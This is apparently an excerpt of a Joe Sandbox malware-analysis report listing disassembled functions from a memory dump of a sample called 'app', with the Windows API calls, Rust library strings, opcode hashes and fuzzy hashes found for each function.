API String ID:
Opcode ID: 150943dc08c0167bc979cefcd71375d35153985db1d35b0f95c289b28cd95639
Instruction ID: 9fb67a88a75419fde22a6fe78b171526936af48b614b9b5a9a44be6ca3831610
Opcode Fuzzy Hash: 150943dc08c0167bc979cefcd71375d35153985db1d35b0f95c289b28cd95639
Instruction Fuzzy Hash: C6F03631900149ABDF116FA1CD4496F3B79AF05348F848036FD19A50A0D739D61FDB59

Uniqueness

Uniqueness Score: -1.00%

Function 025D632B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?,00000001,00000000,?,?,025D8053,00000000,026117FC,?,?,?,?,?,?,?,?), ref: 025D6335

Strings

RNG seed generator is internally corrupt/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\util\rand\rt.rs, xrefs: 025D63B3

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: AcquireExclusiveLock
String ID: RNG seed generator is internally corrupt/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\util\rand\rt.rs
API String ID: 4021432409-4259227343
Opcode ID: 397d4fcfe63ca4ddd902b7bfb1dce5bf7ec1e17bf55d05cc9cd0ebbf50ef03b9
Instruction ID: e77f761cd59d825945d67d7507ad36fcf4539c261ba9d1fcf5172866716ae819
Opcode Fuzzy Hash: 397d4fcfe63ca4ddd902b7bfb1dce5bf7ec1e17bf55d05cc9cd0ebbf50ef03b9
Instruction Fuzzy Hash: 1D1148723047121B936CAD6AAC4142BB78BEBC4221318C63EDD6A83784C9B0B80BD3C4

Uniqueness

Uniqueness Score: -1.00%

Function 025ED3D0 Relevance: 3.1, APIs: 2, Instructions: 562memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025ED82B

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7430a8806362831550e67dd656cdd3c1a737dd2b20cea620a94fb6bf618db543
Instruction ID: a4a8ccdc321e0135de171f4120c7ce2549ec265cd233c50ba5260961123efd03
Opcode Fuzzy Hash: 7430a8806362831550e67dd656cdd3c1a737dd2b20cea620a94fb6bf618db543
Instruction Fuzzy Hash: E122F471A097468BDB19CF2CC48056AFBF2BFC8304F188A2DE99A97351E731D945CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 3.0, APIs: 2, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 00401006
GetLocaleInfoA.KERNEL32(00000000,00001004,00000007,00000007), ref: 00401019

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Locale$InfoThread
String ID:
API String ID: 4232894706-0
Opcode ID: 1bfd077805e0b76a4cd0a89f1b1b1ebcb8d6ab1a177264c64a3ab03ef4350e1d
Instruction ID: dbec01051d8a6e41623a92cbe54c504c300f99dd774cbdae9b06207f921894f7
Opcode Fuzzy Hash: 1bfd077805e0b76a4cd0a89f1b1b1ebcb8d6ab1a177264c64a3ab03ef4350e1d
Instruction Fuzzy Hash: 29F0E93660536097CA218F14DC407E737246F01B81F8001BDEDC5A72A1E639584F86B9

Uniqueness

Uniqueness Score: -1.00%

Function 0256A1B0 Relevance: 2.9, Strings: 2, Instructions: 418COMMON

Download Yara Rule

Strings

0000, xrefs: 0256A5C4, 0256A4A0
attempt to divide by zero, xrefs: 0256A7D0

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: 0000$attempt to divide by zero
API String ID: 0-2494717124
Opcode ID: 0cad660c0c1fbe2755e573ced41b02f0711ecc42a0d3bceca2abc1d14c555ce7
Instruction ID: 9da0a723811b3ff3984ffba6982eb93b87d7e308ffbf025e97ab45d2e57ceaed
Opcode Fuzzy Hash: 0cad660c0c1fbe2755e573ced41b02f0711ecc42a0d3bceca2abc1d14c555ce7
Instruction Fuzzy Hash: DBF147B4A083419FD708CF19C4A466ABBE2FFD8354F54C92EE49AAB351D730D845CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 2.9, Strings: 1, Instructions: 1648COMMON

Download Yara Rule

Strings

0, xrefs: 00404E8C

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 6e12085c91d98f2496f3240a5fa84f917683bfd7915eecf5a36aaaec95f5d5b0
Instruction ID: 8f72e5d40509f8cecb0b844fc2ba54b400947ee985e677df0f2cd9a9c27687f1
Opcode Fuzzy Hash: 6e12085c91d98f2496f3240a5fa84f917683bfd7915eecf5a36aaaec95f5d5b0
Instruction Fuzzy Hash: CBF27471E102099FCF08DFA5C992AEEB7F2FF88308F18446AD516B7241D738AA51DB54

Uniqueness

Uniqueness Score: -1.00%

Function 02562670 Relevance: 2.8, Strings: 2, Instructions: 277COMMON

Download Yara Rule

Strings

Invalid, xrefs: 02562A18
00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 0256297D, 02562995, 025629C7

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899$Invalid
API String ID: 0-3863875730
Opcode ID: 49e9c58ea4fa8f4e2eed81fba4eaa1cd821059ed064379e7a27249be80ba6442
Instruction ID: 8329f36c3ad896fbddf4f99fbf4422dbe04bb97ab33587e6871cacff943a2576
Opcode Fuzzy Hash: 49e9c58ea4fa8f4e2eed81fba4eaa1cd821059ed064379e7a27249be80ba6442
Instruction Fuzzy Hash: 9AA13432B083154BD7189E2DC89833ABBD6FBC4314F19863EE89ACB3D1D6759845CB85

Uniqueness

Uniqueness Score: -1.00%

Function 025AB13B Relevance: 1.8, Strings: 1, Instructions: 576COMMON

Download Yara Rule

Strings

attempted to use a condition variable with more than one mutex/registry\src\index.crates.io-1cd66030c949c28d\parking_lot-0.12.1\src\condvar.rs, xrefs: 025AB81B

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Value$PerformanceQuery$CounterFrequency
String ID: attempted to use a condition variable with more than one mutex/registry\src\index.crates.io-1cd66030c949c28d\parking_lot-0.12.1\src\condvar.rs
API String ID: 1966996841-1284212713
Opcode ID: 9980fec389cb0dc9424b767e0e3e07ccd9c1c45cdbc3164d284e44b303bfce26
Instruction ID: ec16d344ae116e9ffb2c3860c7bd69458fb606b978e24213f21b237ecedfcdc6
Opcode Fuzzy Hash: 9980fec389cb0dc9424b767e0e3e07ccd9c1c45cdbc3164d284e44b303bfce26
Instruction Fuzzy Hash: C91251716043029FDB18DF29C4A162EBBE2BFD8358F14892DE48ACB251DB74DC41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412AC0 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

4, xrefs: 00412F52

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 105ff6f28f0176ece59784b586960affd2c75ef0e9dd6e2caeb7df49e7281d12
Instruction ID: ce7be91b107c05d89f27200de5f74fd8ff5e1e004aeb1bf758a9aa92edd98eb5
Opcode Fuzzy Hash: 105ff6f28f0176ece59784b586960affd2c75ef0e9dd6e2caeb7df49e7281d12
Instruction Fuzzy Hash: EC129D71D00209AFCF15DF94D940AEEBBB1FF48314F24819AE815AB291C7B9DE52CB64

Uniqueness

Uniqueness Score: -1.00%

Function 025EE16F Relevance: 1.6, APIs: 1, Instructions: 374memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025EE5EC

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: bd6d15d3c112f7aed241c7520e8de3130531d026a2673d0d3d113c8f5bebbe69
Instruction ID: a80389b80d889ca5dfb4c1ac2ae69397eb25a02411671864979792568ad20868
Opcode Fuzzy Hash: bd6d15d3c112f7aed241c7520e8de3130531d026a2673d0d3d113c8f5bebbe69
Instruction Fuzzy Hash: 43D1F571A183568FDB19CF6CC48166EBBE2BFC9310F088A2DE89697351EB30D944CB45

Uniqueness

Uniqueness Score: -1.00%

Function 025EE605 Relevance: 1.6, APIs: 1, Instructions: 371memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025EEA73

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9b06a60df97658b9719d57fab09231d4995e181083737e023bc2a3f49aa2be01
Instruction ID: eb6d85d9a8ab4128564e3921bffb47099159b77b7062c43ffde9fa951e8d46dc
Opcode Fuzzy Hash: 9b06a60df97658b9719d57fab09231d4995e181083737e023bc2a3f49aa2be01
Instruction Fuzzy Hash: 65E11271A087428FDB19CF2CC48156AFBE2BFC9314F088A6DE89697351EB30D945CB85

Uniqueness

Uniqueness Score: -1.00%

Function 025F13BD Relevance: 1.6, APIs: 1, Instructions: 357memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,02562930), ref: 025F180A

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 629fb5bcfe303d8ce8b4ba39cae90bac15bdd8ae97434efe2f10bd83f4bce6ce
Instruction ID: ea00b9e3491d974b9399796a303d0e9a1edddd3fd02a8aac17712bf6f50b7e9e
Opcode Fuzzy Hash: 629fb5bcfe303d8ce8b4ba39cae90bac15bdd8ae97434efe2f10bd83f4bce6ce
Instruction Fuzzy Hash: 6ED1C231A08B428FD725CF2CC49052AFBE1BFC9214F188A6DE9DA97351EB70D844CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0041E705 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,00000100,00000006,00000100,?,00000000), ref: 0041E728

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: aec6594c86302d122d4f71fb4d9b161a13d7bbfc32bbdc78518e23443962e317
Instruction ID: e85e805a3fba895054420c9dab990c78e1ee1b5e14cd5d478966e3f2ece6382d
Opcode Fuzzy Hash: aec6594c86302d122d4f71fb4d9b161a13d7bbfc32bbdc78518e23443962e317
Instruction Fuzzy Hash: 30F03035A04208EBDB00DB71D946BDE77B9AF04318F504176F921DA1D0DB74EA459708

Uniqueness

Uniqueness Score: -1.00%

Function 0041B198 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001B152), ref: 0041B19D

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 90184e0bf99737bad7b3f49374a4ba74c04221f632f12a436ad7bc65f60bf99e
Instruction ID: 44c96ef74a1c1fbbfd07129883de79b675f03fbc3a68b556817faf6bab53d9ec
Opcode Fuzzy Hash: 90184e0bf99737bad7b3f49374a4ba74c04221f632f12a436ad7bc65f60bf99e
Instruction Fuzzy Hash: 05A012753012008747108F709C091403665E2016453814435A000C1311DB3040145589

Uniqueness

Uniqueness Score: -1.00%

Function 0041B1AC Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0041B1B1

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: abca96f171b0050d79f7799da41200dda6ac2e8c85e9cb135c27efb12445af08
Instruction ID: 1845281a5277d0a3e631376a96d3cbc5c82ed2965258bf50e72ab3e51ac72b24
Opcode Fuzzy Hash: abca96f171b0050d79f7799da41200dda6ac2e8c85e9cb135c27efb12445af08
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 025D3239 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

Invalid, xrefs: 025D3516

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: Invalid
API String ID: 0-874791708
Opcode ID: b659ca8c6e00dbab7138070e80762619299fd0e6f4ad1f276d95c0bedcc002dc
Instruction ID: 6e3b98ce8ae4565e51baa48762cae59fc137ac0ca859a760f5028aa8a09b957b
Opcode Fuzzy Hash: b659ca8c6e00dbab7138070e80762619299fd0e6f4ad1f276d95c0bedcc002dc
Instruction Fuzzy Hash: 09914F71A043019FD718CF29C49066ABBE6BFC8314F14C6ADE45ADB691DB31E846CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00404358 Relevance: .8, Instructions: 806COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49ea5447d0855135be658535b3d383872752d319a27ff9739b2d70c6a8c7ad55
Instruction ID: 1f32112f5d1d97fa5f5208333258e9b5d7bed76fe60824153b00f1bbb4c0fe1f
Opcode Fuzzy Hash: 49ea5447d0855135be658535b3d383872752d319a27ff9739b2d70c6a8c7ad55
Instruction Fuzzy Hash: B9529F36B4060A9BEB0CCE9ACCD15DCB7A3ABC835471DC23CD915D7745DAB8A907CA90

Uniqueness

Uniqueness Score: -1.00%

Function 025E3389 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a7cd4ad4237f66a7f5b479c8a9d6e5fe355ec74f0ac4fcd0080180acf3cb83
Instruction ID: 48c69dfcf81588823c214f31e196cb8dfc36c04a85493f5a62082bf305e22e04
Opcode Fuzzy Hash: b1a7cd4ad4237f66a7f5b479c8a9d6e5fe355ec74f0ac4fcd0080180acf3cb83
Instruction Fuzzy Hash: 66324361D69F011DDB279535D822339A64DBFB33C4F19EB27E81AB2A99EF29D0C34104

Uniqueness

Uniqueness Score: -1.00%

Function 00425B56 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b497888ff59478dcbc58287f06f310b8c6890e4d9cc07b4980c569479dfc9433
Instruction ID: 647ce0f78b06017cf660a0f23f26868c8a6fa8cab28443e38f1770b9ff9b5a24
Opcode Fuzzy Hash: b497888ff59478dcbc58287f06f310b8c6890e4d9cc07b4980c569479dfc9433
Instruction Fuzzy Hash: CCE1AC70700625EBDB14DF15E880ABE77A9EF48304F91801BF816DB252DB3DDA01EB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040964F Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b172e2b0bcc3e4b70a5f746494a3de25a59c6e33974ff90734639386dca649a6
Instruction ID: 38452df248bf53abee5655b8306aeabdc0ec6d6b7da8aebdf4c000082fc220b6
Opcode Fuzzy Hash: b172e2b0bcc3e4b70a5f746494a3de25a59c6e33974ff90734639386dca649a6
Instruction Fuzzy Hash: 3A916562F443143AF631A9B74D4FF6B6D9CCB86B94F01093EB648BA1C3E4F99D0481A5

Uniqueness

Uniqueness Score: -1.00%

Function 025C42F5 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6059d0d72ec0c334f3be18ddc565dea93af22ea22949ed55b3ca8cd2e70e0d3c
Instruction ID: c3973503fe050827e959dac97388729fb7cbdc1d4b26a23f9ad82fba61604538
Opcode Fuzzy Hash: 6059d0d72ec0c334f3be18ddc565dea93af22ea22949ed55b3ca8cd2e70e0d3c
Instruction Fuzzy Hash: ECD1E47160C3818FD7258FA4D0B4B7ABFE2BFD6204F69485EE4C547242E775888ACB06

Uniqueness

Uniqueness Score: -1.00%

Function 00418E0E Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928e56e57a48a481a7910e8e9d35efa608cd7d846a12f7b1813392c24604a220
Instruction ID: 8c976a428b59b3ae0ebb38614f34ffe00415377cb4a8672460f2c7db1d41e954
Opcode Fuzzy Hash: 928e56e57a48a481a7910e8e9d35efa608cd7d846a12f7b1813392c24604a220
Instruction Fuzzy Hash: AAB16B3590020ADFDB15CF04C5D0AE9BBA1BF58318F14C1AED81A5B342DB35EE86CB94

Uniqueness

Uniqueness Score: -1.00%

Function 025BE030 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

